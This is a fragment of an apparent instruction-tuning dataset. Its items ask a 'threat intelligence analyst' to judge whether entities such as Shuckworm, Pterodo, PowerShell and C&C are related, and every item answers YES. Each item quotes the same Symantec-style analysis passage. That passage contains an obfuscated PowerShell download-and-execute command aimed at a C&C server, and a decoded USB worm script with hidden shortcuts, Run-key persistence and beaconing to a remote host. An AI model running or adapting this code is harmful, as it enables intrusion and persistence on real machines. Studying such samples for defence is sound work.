+'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: PowerShell\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPterodo\n### Target Entity: Shuckworm\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: C&C\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPterodo\n### Target Entity: C&C\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nShuckworm\n### Target Entity: Pterodo\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp Out-sTRing) poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nwscript.exe\n### Target Entity: cmd.exe\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\" GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN 